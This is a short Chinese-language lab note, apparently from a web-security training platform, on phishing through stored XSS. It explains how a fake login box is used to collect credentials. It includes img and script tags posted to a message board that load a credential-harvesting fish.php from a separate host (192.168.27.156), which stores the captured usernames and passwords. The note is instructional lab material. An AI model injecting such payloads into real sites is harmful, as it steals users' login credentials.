案例二:釣魚演示(存儲型xss)
進入文件修改ip
給出認證框，用戶輸入用戶名、密碼，重定向到后台
同樣的后台也有同樣的接口，get方式獲取到用戶名跟密碼然后存儲
我理解的釣魚攻擊就是攻擊者給用戶可以正常的看上去沒有欺騙的可信的頁面，而這個頁面被攻擊者嵌入了一些惡意的代碼，進行盜取用戶的一些信息。
當用戶點開這個頁面之后，看到是正常的頁面，實際上登錄信息等都被攻擊者在后台頁面獲取到
利用這個
回到存儲型xss留言板 輸入
<img src=" http://192.168.27.156/pkxss/xfish/fish.php" /> img標簽
<script src=" http://192.168.27.156/pkxss/xfish/fish.php"> </script> script標簽
刷新之后還是會有這個彈框
輸入用戶名 密碼 admin root
返回pkxss后台界面，刷新就會有剛才的獲取到的信息